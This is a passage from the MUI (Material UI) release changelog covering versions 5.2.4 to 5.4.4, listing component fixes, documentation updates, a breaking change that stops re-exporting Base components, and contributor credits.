@oliviertassinari\n- [l10n] Add Croatian (hr-HR) and Serbian (sr-RS) translation (#30906) @m14d3n\n\n### Core\n\n- [core] Fix running markdownlint on Windows (#31352) @michaldudak\n- [core] Fix the stylelint script on Windows (#31281) @mnajdova\n- [test] Fix buildApiUtils tests on Windows (#31304) @michaldudak\n- [test] Remove legacyRoot option from test renderer (#31284) @eps1lon\n\nAll contributors of this release in alphabetical order: @Daggy1234, @danilo-leal, @EdmundMai, @eps1lon, @hbjORbj, @Janpot, @jrozbicki, @m14d3n, @michaldudak, @mnajdova, @nnecec, @oliviertassinari, @PunitSoniME, @simonecervini, @siriwatknp, @sjdemartini\n\n## 5.4.4\n\n<!-- generated comparing v5.4.3..master -->\n\n_Feb 28, 2022_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ New `Input` and `Sheet` components were added in the experimental Joy design system by @hbjORbj (#31124, #31086) @hbjORbj\n- Several 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.4.4`\n\n- [Autocomplete] Have Autocomplete with multiline textfield log a warning instead of an error (#30680) @iclaude3\n- [Chip] Fix ellipsis when the children is too long (#31087) @PunitSoniME\n- [Input] Export InputBase's classes from the classes const (#31186) @mnajdova\n- [TextField] Fix Horizontal scroll when label too long (#31187) @RedHeadphone\n- [styles] Fix typo in import error (#31167) @davwheat\n\n### `@mui/system@5.4.4`\n\n- [system] Fix executing server-side Emotion component as function interpolation 2 (#31024) @Andarist\n- [system] Fix sx prop types when CSS variables are used with nested selectors (#31163) @mnajdova\n- [system] Fix `CssVarsProvider` theme mutation (#31148) @siriwatknp\n\n### `@mui/codemod@5.4.4`\n\n- [codemods] Add v5.0.0/top-level-imports codemod (#31195) @greengiraffe\n\n### `@mui/base@5.0.0-alpha.70`\n\n- [SelectUnstyled, MultiSelectUnstyled, ButtonUnstyled] Export additional types to make customization easier (#31172) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.17`\n\n- [Joy] Add nested list components (#31159) @siriwatknp\n- [Joy] Improve color customization on `Switch` (#31137) @siriwatknp\n- [Joy] Add `Sheet` component (#31124) @hbjORbj\n- [Joy] add `Input` component (#31086) @siriwatknp\n- [Joy] Fix Button missing slot type (#31166) @siriwatknp\n\n### Docs\n\n- [docs] Fix 404 link to the blog (#31234) @oliviertassinari\n- [docs] Use `material-ui` for product name (#31200) @siriwatknp\n- [docs] Add Base installation page (#30969) @siriwatknp\n- [docs] Use new Algolia app for new structure (#31178) @siriwatknp\n- [docs] Typo in the `FormControl` API documentation (#31169) @bonellia\n- [docs] Fix typo in Stack documentation (#31176) @adriancampos\n- [docs] Update interoperability.md broken tailwind links (#31182) @robertwt7\n- [docs] Add missing import into tss-react migration guide (#31162) @sviande\n\n### Core\n\n- [core] Add group for the @fortawesome dependencies (#31193) @mnajdova\n- [core] Update playwright docker to match the specified version (#31236) @siriwatknp\n- [core] Remove parallel on buildTypes (#31189) @siriwatknp\n- [core] Fix propTypes generation for optional any props (#31141) @m4theushw\n- [typescript] Remove variants deprecation (#31239) @siriwatknp\n\nAll contributors of this release in alphabetical order: @adriancampos, @Andarist, @bonellia, @davwheat, @greengiraffe, @hbjORbj, @iclaude3, @m4theushw, @michaldudak, @mnajdova, @oliviertassinari, @PunitSoniME, @RedHeadphone, @robertwt7, @samuelsycamore, @siriwatknp, @sviande\n\n## 5.4.3\n\n<!-- generated comparing v5.4.2..master -->\n\n_Feb 21, 2022_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 🛠 @hbjORbj made components use theme duration/easing values by default (#30894)\n- A meaningful number of 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.4.3`\n\n- [ButtonBase] Fix typo (#31135) @Jastor11\n- [Stepper] Export useStepContext (#31021) @michaldudak\n- [Transitions] Some components do not use transition duration/easing values from theme (#30894) @hbjORbj\n\n### `@mui/icons-material@5.4.3`\n\n- [icons] Add \"circle\" icon synonyms (#31118) @gnowland\n\n### `@mui/joy@5.0.0-alpha.16`\n\n- [Joy] `List` second iteration (#31134) @siriwatknp\n- [Joy] Fix typings (#31120) @siriwatknp\n- [Joy] Add initial `List` components (#30987) @siriwatknp\n\n### Docs\n\n- [docs] Fix typo of migration guides v4 (#31136) @pppp606\n- [docs] Update on the support page to account for v4 LTS support (#31029) @danilo-leal\n- [docs] Fix small typo in chips.md (#31092) @cameliaben\n- [l10n] Add it-IT translation for labelDisplayedRows (#31131) @frab90\n- [l10n] Add pl-PL translation for labelDisplayedRows (#31088) @ThomasTheHuman\n\n### Core\n\n- [core] Add jsx, html, css and prisma to prettier extensions (#31161) @Janpot\n- [core] Allow to run material-ui.com/store alongside mui.com/store (#31065) @oliviertassinari\n- [core] Polish design tokens (#31095) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @alexfauquette, @cameliaben, @danilo-leal, @frab90, @gnowland, @hbjORbj, @huyenltnguyen, @Janpot, @Jastor11, @michaldudak, @oliviertassinari, @pppp606, @siriwatknp, @ThomasTheHuman\n\n## 5.4.2\n\n_Feb 15, 2022_\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- 🛠 @sydneyjodon-wk improved propTypes of the ToggleButton components (#30883)\n- Several 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.4.2`\n\n- [Select] Allow customizing Select based on its variant (#30788) @michaldudak\n- [Portal] Re-export 'Portal' in material (#31003) @liradb2000\n- [ToggleButton] Add prop types for `onClick` and `onChange` (#30883) @sydneyjodon-wk\n- [typescript] Added TypeText declaration to the exports file (#30890) @agauravdev\n\n### `@mui/system@5.4.2`\n\n- [system] Fix broken behavior when breakpoints input are not ordered (#30996) @mnajdova\n\n### `@mui/lab@5.0.0-alpha.69`\n\n- [DatePicker] Fix passing clearable prop (#30786) @alisasanib\n\n### `@mui/joy@5.0.0-alpha.15`\n\n- [Joy] Improve variant customization experience (#30878) @siriwatknp\n- [Joy] Make `sx` prop work in Joy (#30955) @siriwatknp\n\n### Framer\n\n- [design] Remove framer components (#30983) @mbrookes\n- [design] Remove framer leftovers (#31070) @michaldudak\n\n### Docs\n\n- [docs] Update installation guide of the icons package (#31026) @huyenltnguyen\n- [docs] Improve the indication for the legacy APIs (#30995) @mnajdova\n- [docs] Specify which props are added in the default `shouldForwardProp` option (#30978) @mnajdova\n- [docs] Fix layout shift on loading (#31017) @oliviertassinari\n- [docs] Increase scroll affordance in wide tables (#30713) @danilo-leal\n- [docs] Fix look & feel of the Masonry demos (#30971) @oliviertassinari\n- [docs] Improve Base component demos (#30884) @danilo-leal\n- [docs] Use full product names (Material UI, MUI System) (#30960) @oliviertassinari\n- [docs] Prefer useEnhancedEffect to avoid server side warnings (#30977) @mnajdova\n- [docs] Fix force redirection to a different locale (#30967) @oliviertassinari\n- [docs] Add live Tailwind CSS demo (#30966) @oliviertassinari\n\n### Core\n\n- [benchmark] Add missing dependency (#30994) @michaldudak\n- [core] Bump date-io version (#31016) @michaldudak\n- [core] Fix typo in useSlider (#31061) @ryohey\n- [core] Remove unused draft-js types package (#30993) @michaldudak\n- [test] Test if certain Base members are exported from Material UI (#31067) @michaldudak\n- [core] Remove dead code (#31064) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @agauravdev, @alisasanib, @DanailH, @danilo-leal, @huyenltnguyen, @l10nbot, @liradb2000, @mbrookes, @michaldudak, @mnajdova, @prakhargupta1, @oliviertassinari, @ryohey, @samuelsycamore, @siriwatknp, @sydneyjodon-wk\n\n## 5.4.1\n\n<!-- generated comparing v5.4.0..master -->\n\n_Feb 8, 2022_\n\nA big thanks to the 24 contributors who made this release possible. Here are some highlights ✨:\n\n- ♿️ Snackbar messages are now announced by NVDA when using Firefox (#30774) @eps1lon\n- Several 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.4.1`\n\n- [AvatarGroup] Enable targeting of additional Avatar when max props is passed (#30794) @mogrady88\n- [Badge] Fix showzero and invisible condition (#30899) @alisasanib\n- [ButtonBase] Expose ref to TouchRipple (#30901) @m4theushw\n- [Fab] Add support for the default theme colors (#30846) @alisasanib\n- [SelectInput] Only attach click handler to label if a labelId is passed (#30239) @johsunds\n- [Snackbar] Ensure messages are announced in NVDA+FF (#30774) @eps1lon\n\n### `@mui/base@5.0.0-alpha.68`\n\n- [SelectUnstyled] Improve exported types (#30895) @michaldudak\n\n### `@mui/lab@5.0.0-alpha.68`\n\n- [Pickers] Fix `onDismiss` handler in `MobileDatePicker` (#30768) @Ashish2097\n- [TimePicker] Add font family for clock numbers (#30738) @alisasanib\n\n### `@mui/joy@5.0.0-alpha.14`\n\n- [Joy] Add `IconButton` component (#30864) @siriwatknp\n- [Joy] Use icon inside a Button (#30803) @siriwatknp\n\n### Docs\n\n- [examples] Fix vitejs example and improve HMR (#30897) @mihailgaberov\n- [docs] Improve autocomplete \"limit tags\" demo (#30910) @danilo-leal\n- [docs] Sync translations with Crowdin (#30950) @l10nbot\n- [docs] Improve description of the disableRestoreFocus prop of the `TrapFocus` (#30912) @flaviendelangle\n- [docs] Remove ul with div children and replace with nav element (#30534) @joeframbach\n- [docs] Add Saleor to showcase (#30924) @cherniavskii\n- [docs] Include JSS in styling solution interoperability guide (#30736) @garronej\n- [docs] Fix contents of link-underline-hover (#30904) @pppp606\n- [docs] Fix markdown table format (#30947) @oliviertassinari\n- [docs] Add missing import to RTL guide (#30891) @CFarhad\n- [docs] Fix WithStyles import statement for @mui/styles (#30942) @altruity\n- [docs] Fix broken roadmap table (#30943) @cherniavskii\n- [docs] Fix broken URL in \"Edit this page\" button (#30923) @cherniavskii\n- [docs] Migrate content to the new location (#30757) @siriwatknp\n- [docs] Fix the link to the Vite.js example project (#30872) @GneyHabub\n- [docs] Clarify the minimum configuration for TypeScript (#30790) @mnajdova\n- [docs] Clarify what the name of @mui/material is (#30866) @oliviertassinari\n- [docs] Remove migration from the releases page (#30863) @mnajdova\n- [docs] Update Instructions for Google Maps Autocomplete (#30849) @kjschabra\n- [docs] Hotfix notification (#30862) @siriwatknp\n\n### Core\n\n- [core] Batch small fixes (#30952) @oliviertassinari\n- [core] Rename the GitHub org (#30944) @oliviertassinari\n- [core] Fix propTypes in components where OverridableStringUnion is used (#30682) @paales\n- [test] Codify the difference between keyup and keydown in SelectUnstyled (#30857) @eps1lon\n- [test] Fix typo (#30841) @caioagiani\n- [utils] Use built-in hook when available for useId (#30654) @eps1lon\n\nAll contributors of this release in alphabetical order: @alisasanib, @altruity, @Ashish2097, @caioagiani, @CFarhad, @cherniavskii, @danilo-leal, @eps1lon, @flaviendelangle, @garronej, @GneyHabub, @joeframbach, @johsunds, @kjschabra, @m4theushw, @michaldudak, @mihailgaberov, @mnajdova, @mogrady88, @oliviertassinari, @paales, @pppp606, @siriwatknp, @theiliad\n\n## 5.4.0\n\n<!-- generated comparing v5.3.1..master -->\n\n_Feb 1, 2022_\n\nA big thanks to the 22 contributors who made this release possible. Here are some highlights ✨:\n\n- 🛠 @goncalovf added an example project using [Material UI with Vite.js](https://github.com/mui/material-ui/tree/master/examples/material-ui-vite) (#28241)\n- Number of 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.4.0`\n\n#### Breaking changes\n\n- [core] Do not reexport Base from Material (#30853) @michaldudak\n\n  All Base components were exported from the `@mui/material` package and treated as stable even though the `@mui/base` package is in development. It could create a lot of confusion if developers start using Base components, depend on them, and demand quality found in \"proper\" Material components. We admit it was a mistake to reexport these components without marking them as unstable.\n\n  Developers are still encouraged to evaluate the Base components, but they should do so by explicitly installing the `@mui/base` package.\n\n  This is technically a breaking change as it removes a number of components from the `@mui/material` package. However, we believe that removing the components now and potentially breaking the codebases will do less harm than introducing \"silent\" breaking changes to Base components while continuing reexporting them from `@mui/material`.\n\n  Note: the utility components, such as ClickAwayListener, NoSsr, Portal, and TextareaAutosize continue to be exported from both `@mui/material` and `@mui/base`.\n\n  If you're encountering build errors after upgrading @mui/material, do the following:\n  1. Install @mui/base: npm install @mui/base or yarn add @mui/base\n  2. Make sure the version of @mui/base match the version of @mui/material\n  3. Change the import paths of unstyled components from @mui/material to @mui/base, e.g.:\n\n  ```diff\n  -import ButtonUnstyled from '@mui/material/ButtonUnstyled';\n  +import ButtonUnstyled from '@mui/base/ButtonUnstyled';\n  ```\n\n#### Changes\n\n- [Autocomplete] Add `readOnly` prop (#30706) @ZeeshanTamboli\n- [Autocomplete] Fix typos in the page (#30737) @austinewuncler\n- [FormControlLabel][formgroup] add Mui-error class (#30656) @alisasanib\n- [Grid] Fix prop check for applying wrap-reverse (#30813) @Hubbz\n- [TextField] Remove notch when no label is added (#30560) @alisasanib\n- [TextField] Remove usage of dangerouslySetInnerHTML (#30776) @Jack-Works\n- [TreeView] Select node when key `Enter` is pressed (#30795) @dryrainbow\n- [useMediaQuery] Ensure no tearing in React 18 (#30655) @eps1lon\n\n### `@mui/base@5.0.0-alpha.67`\n\n- [SelectUnstyled] Create unstyled select (+ hook) (#30113) @michaldudak\n\n### `@mui/lab@5.0.0-alpha.67`\n\n- [DateTimePicker] Fix month view highlight wrong tab (#30773) @DiegoYungh\n- [pickers] Enable the sx props on all components (#30749) @boutahlilsoufiane\n\n### Docs\n\n- [blog] Introducing callback support in style overrides (#30668) @siriwatknp\n- [docs] Add notifications for the blog posts (#30852) @siriwatknp\n- [docs] Improve the interoperability guide (#30785) @mnajdova\n- [docs] Improve the Getting Started documentation content (#30808) @mnajdova\n- [docs] Fix typo in ad fallback (#30823) @cherniavskii\n- [docs] Change ThemeProvider API links (#30705) @atakanzen\n- [docs] Retain vendor prefixing in rtl example (#30710) @ryancogswell\n- [docs] Fix typo in the Popper ScrollPlayground demo (#30780) @tanyabouman\n- [docs] Small fixes on the jss-to-tss migration guide (#30734) @garronej\n- [examples] Add Vite.js example (#28241) @goncalovf\n\n### Core\n\n- [core] Clarify the label, to match with MUI X (#30831) @oliviertassinari\n- [core] Remove none code related instructions from git (#30843) @oliviertassinari\n- [core] Fix typos in comments for scripts (#30809) @aefox\n- [core] Fix 301 link in the blog @oliviertassinari\n- [test] Fix tests on Node 16 (#30819) @michaldudak\n- [test] Add explicit types to support noImplicityAny=false (#30798) @m4theushw\n- [test] Support React.useId format in \\*DescriptionOf (#30657) @eps1lon\n\nAll contributors of this release in alphabetical order: @aefox, @alisasanib, @atakanzen, @austinewuncler, @boutahlilsoufiane, @cherniavskii, @danilo-leal, @DiegoYungh, @dryrainbow, @eps1lon, @garronej, @goncalovf, @Hubbz, @Jack-Works, @m4theushw, @michaldudak, @mnajdova, @oliviertassinari, @ryancogswell, @siriwatknp, @tanyabouman, @ZeeshanTamboli\n\n## 5.3.1\n\n<!-- generated comparing v5.3.0..master -->\n\n_Jan 24, 2022_\n\nA big thanks to the 12 contributors who made this release possible. Here are some highlights ✨:\n\n- 🛠 @mnajdova added interoperability guide for using Tailwind CSS (#30700)\n- A meaningful number of 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/icons-material@5.3.1`\n\n- [icons] Fix naming typos (#30512) @MrHBS\n- [icons] Makes material-icons work with Joy (#30681) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.66`\n\n- [SliderUnstyled] Improve typings on some internal utils (#30614) @mnajdova\n\n### Core\n\n- [core] Batch small changes (#30690) @oliviertassinari\n- [core] Add new structure to ignore list crowdin (#30608) @siriwatknp\n- [core] Correct version in package.json (#30677) @michaldudak\n- [test] Fix buildApiUtils tests on Windows (#30698) @michaldudak\n\n### Docs\n\n- [blog] Enable blog index (#30724) @siriwatknp\n- [blog] Introducing the Row Grouping feature (#30598) @alexfauquette\n- [docs] Fix SEO crawl errors (#30733) @oliviertassinari\n- [docs] Update migration-v4.md (#30721) @ddecrulle\n- [docs] Fix migration issues detected by `ahrefs` (#30751) @siriwatknp\n- [docs] Add interoprability guide for using Tailwind CSS (#30700) @mnajdova\n- [docs] Fix typo in containedSizeMedium class (#30723) @aaneitchik\n- [docs] Hotfix the wrong URL in X marketing page (#30729) @siriwatknp\n- [docs] Post migration preparation fix (#30716) @siriwatknp\n- [docs] Update remix example to restore from error pages (#30592) @mnajdova\n- [docs] Use new URLs when enable_redirects is true (#30704) @siriwatknp\n- [docs] Add a missing bracket in the migration-v4 guide (#30616) @chaosmirage\n- [docs] Add Checkbox color prop change (#30697) @aaneitchik\n- [docs] Fix migration to have singular urls (#30695) @siriwatknp\n- [docs] Update UXPin link to new landing page (#30691) @Evomatic\n- [docs] Close user menu on click in the responsive app bar demo (#30664) @NoahYarian\n- [docs] Clear the difference between UI and React components (#29930) @oliviertassinari\n- [docs] Make Autocomplete docs gender neutral (#30679) @exequielbc\n- [docs] Update doc structure for X components (#30684) @siriwatknp\n\nAll contributors of this release in alphabetical order: @aaneitchik, @alexfauquette, @chaosmirage, @ddecrulle, @Evomatic, @exequielbc, @michaldudak, @mnajdova, @MrHBS, @NoahYarian, @oliviertassinari, @siriwatknp\n\n## 5.3.0\n\n<!-- generated comparing v5.2.8..master -->\n\n_Jan 17, 2022_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 🛠 @siriwatknp added support for callbacks in styleOverrides (#30524)\n- 🧩 @ZeeshanTamboli and @VicHofs improved customization of components (#30515, #30212)\n- 🛠 @hbjORbj fixed the use of ResizeObserver in Masonry component (#29896)\n- 📄 @danilo-leal and @siriwatknp created our own blog home page (#30121)\n\n### `@mui/material@5.3.0`\n\n- [Autocomplete] Add ability to pass props to `Paper` component (#30515) @ZeeshanTamboli\n- [Select] Add defaultOpen prop (#30212) @VicHofs\n\n### `@mui/system@5.3.0`\n\n- [system][box, grid, typography] `textTransform` prop should work directly on component (#30437) @hbjORbj\n- [system] Support callback value in `styleOverrides` slot (#30524) @siriwatknp\n\n### `@mui/lab@5.0.0-alpha.65`\n\n- [Masonry] Observe every masonry child to trigger computation when needed (#29896) @hbjORbj\n- [MobileDatePicker] Fix calling onOpen when readOnly is true (#30561) @alisasanib\n\n### `@mui/codemod@5.3.0`\n\n- [codemod] Bump `jscodeshift` to remove `colors` dependency (#30578) @siriwatknp\n\n### `@mui/styled-engine-sc@5.3.0`\n\n- [styled-engine-sc] Add the withConfig API to enable using the babel plugin for styled-comonents (#30589) @mnajdova\n\n### `@mui/joy@5.0.0-alpha.11`\n\n- [Joy] Add `SvgIcon` component (#30570) @hbjORbj\n\n### `@mui/base@5.0.0-alpha.65`\n\n- [SliderUnstyled] Add useSlider hook and polish (#30094) @mnajdova\n\n### Docs\n\n- [docs] End code block in test/README.md (#30531) @yaboi\n- [docs] Remove redundant grouping in /components/radio-buttons/ (#30065) @eps1lon\n- [docs] Update migration scripts and e2e tests (#30583) @siriwatknp\n- [docs] Fix migration guides for versions older than v4 (#30595) @kkirsche\n- [docs] Inform about specific files for DataGrid locales (#30411) @alexfauquette\n- [docs] jss-to-tss migration advise to drop clsx in favor of cx (#30527) @garronej\n- [docs] Fix integration with MUI X (#30593) @oliviertassinari\n- [docs] Adding peer dependencies explanation on @mui/lab README.md (#30532) @glaucoheitor\n- [docs] Add missing quote in migration docs (#30587) @Atralbus\n- [docs] Update link to Doit sponsor (#30586) @oliviertassinari\n- [docs] Add products identifier and drawer (#30283) @siriwatknp\n\n### Core\n\n- [core] Revert changes to peer dependencies (#30662) @oliviertassinari\n- [core] Renovate should not try to update node (#30659) @oliviertassinari\n- [core] Remove dead files (#30663) @oliviertassinari\n- [core] Fix outdated TypeScript template (#30596) @oliviertassinari\n- [core] Remove extra `</p>` from header of README.md (#30530) @yaboi\n- [core] Fix `docs:api` script for Windows OS (#30533) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @alexfauquette, @alisasanib, @Atralbus, @cherniavskii, @danilo-leal, @eps1lon, @garronej, @glaucoheitor, @hbjORbj, @kkirsche, @mnajdova, @oliviertassinari, @siriwatknp, @VicHofs, @yaboi, @ZeeshanTamboli\n\n## 5.2.8\n\n<!-- generated comparing v5.2.7..master -->\n\n_Jan 10, 2022_\n\nA big thanks to the 10 contributors who made this release possible. Here are some highlights ✨:\n\n- A meaningful number of 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.2.8`\n\n- [TextField][inputlabel] Remove `pointer-events: none` property (#30493) @hbjORbj\n- [Slider] Add `input` slot to components and componentsProps (#30362) @alexandre-lelain\n\n### `@mui/joy@5.0.0-alpha.10`\n\n- [Joy] Add `Typography` component (#30489) @siriwatknp\n- [Joy] Add functional `Switch` component (#30487) @siriwatknp\n\n### Docs\n\n- [docs] Update markdown parser to remove backticks from description (#30495) @aefox\n- [docs] Fix the crash when applying custom colors (#30563) @siriwatknp\n- [docs] Location change of Sebastian (#30528) @eps1lon\n- [docs] Lint markdown in the CI (#30395) @oliviertassinari\n- [docs] Fix `componentsProps` API docs and PropTypes (#30502) @ZeeshanTamboli\n- [docs] Codemod doc for overriding styles using tss (#30499) @garronej\n- [docs] fix edge case when replacing data-grid url for migration (#30505) @siriwatknp\n- [docs] fix replace url for migration (#30503) @siriwatknp\n- [docs] Prepare scripts for migrating to new structure (#30386) @siriwatknp\n- [docs] Adjust RTL Guide demos to fully support RTL (#30387) @noam-honig\n- [docs] Move @eps1lon to community (#30473) @oliviertassinari\n- [docs] Fix typo and spelling in the-sx-prop.md (#30482) @aefox\n- [docs] More general docs polishing (#30371) @danilo-leal\n\nAll contributors of this release in alphabetical order: @aefox, @alexandre-lelain, @danilo-leal, @eps1lon, @garronej, @hbjORbj, @noam-honig, @oliviertassinari, @siriwatknp, @ZeeshanTamboli\n\n## 5.2.7\n\n<!-- generated comparing v5.2.6..master -->\n\n_Jan 3, 2022_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 📓 Improvements on the Vietnamese (vi-VN) and Finnish (fi-FI) locales (#30426, #30442) @hckhanh @Certificate\n- And more 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.2.7`\n\n- [Autocomplete] Fix calling onChange for duplicate values (#30374) @alisasanib\n- [Avatar] Fix TypeScript error on imgProps (#30255) @ahmad-reza619\n- [Badge] Fix `classes` prop TypeScript type (#30427) @ZeeshanTamboli\n- [SvgIcon] Allow viewBox to inherit from Component through inheritViewBox prop (#29954) @alex-dikusar\n- [SvgIcon] Correct API docs and code style (#30470) @michaldudak\n\n### Docs\n\n- [blog] 2021 (#30425) @oliviertassinari\n- [docs] Fix typo on the Grid docs page (#30446) @abhi45\n- [docs] Fix `useMediaQuery` SSR example to v5 theme API (#30454) @ValentinH\n- [docs] Improve the migration guide and add examples for transforming to `tss-react` (#30388) @mnajdova\n- [docs] Make the reference to the select clearer (#30460) @boazrymland\n- [docs] Sync translations with Crowdin (#30385) @l10nbot\n- [example] Avoid double rendering in the Remix example (#30366) @mnajdova\n- [i18n] improve viVN locale (#30426) @hckhanh\n- [l10n] Improve fiFI locale (#30442) @Certificate\n\n### Core\n\n- [core] Automatically close issues that are incomplete and inactive (#30459) @oliviertassinari\n- [core] Remove contrib tweet (#30455) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @abhi45, @ahmad-reza619, @alex-dikusar, @alisasanib, @boazrymland, @Certificate, @hckhanh, @l10nbot, @michaldudak, @mnajdova, @oliviertassinari, @siriwatknp, @ValentinH, @ZeeshanTamboli\n\n## 5.2.6\n\n<!-- generated comparing v5.2.5..master -->\n\n_Dec 27, 2021_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 📓 The Norwegian Bokmål (nb-NO) locale was added (#27520) @wogsland\n- 🛠 Introduced a new `useBadge` hook in the `@mui/base` package (#30246) @mnajdova\n- And more 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.2.6`\n\n- [ButtonGroup] Fix typo in ButtonGroupContext's interface (#30376) @kealjones-wk\n- [l10n] Add Norwegian Bokmål (nb-NO) locale (#27520) @wogsland\n\n### `@mui/base@5.0.0-alpha.62`\n\n- [BadgeUnstyled] Add useBadge hook (#30246) @mnajdova\n\n### `@mui/joy@5.0.0-alpha.8`\n\n- [Joy] Button API (#29962) @siriwatknp\n\n### Docs\n\n- [docs] Fix color coercion (#30319) @Janpot\n- [blog] Fix file import conflict resolution (#30391) @oliviertassinari\n- [docs] Fix crash on Safari because of unsupported lookahead feature (#30345) @cherniavskii\n- [docs] Update to new website domain (#30396) @ryota-murakami\n- [docs] Fix text from material-ui to @mui to reflect v5 name changes (#30393) @pupudu\n- [docs] Fix a11y in Menu demos (#30378) @ZeeshanTamboli\n- [docs] Document how to unmount transition child (#30382) @oliviertassinari\n- [docs] The current standard for quotes is QUOTATION MARK @oliviertassinari\n- [docs] Fix 404 links (#30380) @oliviertassinari\n- [docs] Fix Breadcrumb description (#30307) @jamesmelzer\n- [docs] Modify injection order for Gatsby and SSR examples (#30358) @ShuPink\n- [docs] Improve the translation experience (#30373) @oliviertassinari\n- [docs] Sync translations with Crowdin (#30176) @l10nbot\n- [docs] Fix link to /size-snapshot (#30363) @oliviertassinari\n- [docs] Fix incorrect aria label in SpeedDial demo (#30354) @chwallen\n- [docs] Fix incorrect number of breakpoint helpers (#30353) @chwallen\n- [docs] Update outdated links (#30260) @oliviertassinari\n- [docs] Support redirects from old urls to /material/\\* (#30286) @siriwatknp\n- [examples] Fix CSS Modules integration (#30381) @oliviertassinari\n\n### Core\n\n- [core] Rename Material UI to MUI (#30338) @ZeeshanTamboli\n- [core] Fix warning in dev mode (#30368) @oliviertassinari\n- [core] Update `buildApi` script to support new structure (#30245) @siriwatknp\n\nAll contributors of this release in alphabetical order: @cherniavskii, @chwallen, @jamesmelzer, @Janpot, @kealjones-wk, @l10nbot, @mnajdova, @oliviertassinari, @pupudu, @ryota-murakami, @ShuPink, @siriwatknp, @wogsland, @ZeeshanTamboli\n\n## 5.2.5\n\n<!-- generated comparing v5.2.4..master -->\n\n_Dec 20, 2021_\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- 🛠 This release mostly improves what's behind the scenes: infrastructure and tests\n- 📓 Danish (da-DK) locale was added (#29485) @mikk5829\n- 🖌 Polished the design of Base components (#30149) and the docs in general (#29994) @danilo-leal\n- 📚 Many additions and improvements to the documentation were made\n\n### `@mui/material@5.2.5`\n\n- [l10n] Add Danish (da-DK) locale (#29485) @mikk5829\n- [LoadingButton] Label progressbar by the LoadingButton (#30002) @eps1lon\n- [Tabs] Remove unnecessary `Partial<>` type around TabIndicatorProps type (#30254) @ZeeshanTamboli\n\n### `@mui/system@5.2.5`\n\n- [system] Use `useEnhancedEffect` to prevent flicker (#30216) @hbjORbj\n\n### `@mui/lab@5.0.0-alpha.61`\n\n- [pickers] Fix the wrong MuiClockPicker's ArrowSwitcher slot name (#30226) @rejetto\n\n### Docs\n\n- [docs] Run JS compiler on markdown output (#29732) @Janpot\n- [Badge] Add tests for `anchorOrigin` prop (#30147) @daniel-sachs\n- [docs] Add cssmodule injection order comments to Nextjs example (#30213) @ShuPink\n- [docs] Remove extra word in Select component code example comments (#30281) @KThompso\n- [docs] Improve the description of the Accordion (#30253) @jamesmelzer\n- [docs] Heading capitalization convention @oliviertassinari\n- [docs] Rename remaining 'unstyled' references to 'base' (#30206) @michaldudak\n- [docs] Add to migration doc about ref type specificity (#30114) @hbjORbj\n- [docs] Add script to clone pages (#30107) @siriwatknp\n- [docs] Correct colors in breakpoints documentation (#30219) @michaldudak\n- [docs] Sync icon search UI state with the url (#30075) @Janpot\n- [docs] Base components demos design polish (#30149) @danilo-leal\n- [docs] General documentation polish (#29994) @danilo-leal\n- [examples] Fix typo in the remix example's README (#30289) @lemol\n\n### Core\n\n- [test] Reduce bundle size comparison memory consumption (#30195) @Janpot\n- [core] make snapshot comparison more resilient (#30183) @Janpot\n- [core] update formatted ts demo to support new structure (#30248) @siriwatknp\n- [core] cache dependencies in github actions (#30211) @siriwatknp\n- [core] fix root package version (#30204) @siriwatknp\n- [core] Fail the build when the dangerjs script errors (#30186) @Janpot\n- [test] Add E2E website tests (#30128) @siriwatknp\n\nAll contributors of this release in alphabetical order: @daniel-sachs, @danilo-leal, @eps1lon, @hbjORbj, @jamesmelzer, @Janpot, @KThompso, @lemol, @michaldudak, @mikk5829, @mnajdova, @oliviertassinari, @rejetto, @ShuPink, @siriwatknp, @ZeeshanTamboli\n\n## 5.2.4\n\n<!-- generated comparing v5.2.3..master -->\n\n_Dec 14, 2021_\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ Add `not` operator to `theme.breakpoints` (#29311) @Philipp000\n\n  ```js\n  const styles = (theme) => ({\n    root: {\n      backgroundColor: 'blue',\n      // Match [xs, md) and [md + 1, ∞)\n      //       [xs, md) and [lg, ∞)\n      //       [0px, 900px) and [1200px, ∞)\n      [theme.breakpoints.not('md')]: {\n        backgroundColor: 'red',\n      },\n    },\n  });\n  ```\n\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@mui/material@5.2.4`\n\n- [esm] Correct a styles imports (#29976) @Janpot\n- [GlobalStyles] Fix `theme` type (#30072) @mnajdova\n- [Grid] Fix grid items to respond to the container's responsive columns (#29715) @kkorach\n- [TextField] Fix missing space before asterisk in `OutlinedInput`'s label (#29630) @alisasanib\n- [Transition] Allow any valid HTML attribute to be passed (#29888) @Janpot\n- [types] Fix discrepancy between core and system `ThemeOptions` (#30095) @fmeum\n- [InputBase] Add prop for disabling global styles (#29213) @bryan-hunter\n- [Select] Improve multiple logic (#30135) @ladygo93\n\n### `@mui/system@5.2.4`\n\n- [system] Don't transition when re-appearing (#30108) @eps1lon\n- [system] Add `not` operator to `breakpoints` (#29311) @Philipp000\n\n### `@mui/base@5.0.0-alpha.60`\n\n- [BadgeUnstyled] Make it conformant with other base components (#30141) @mnajdova\n\n### 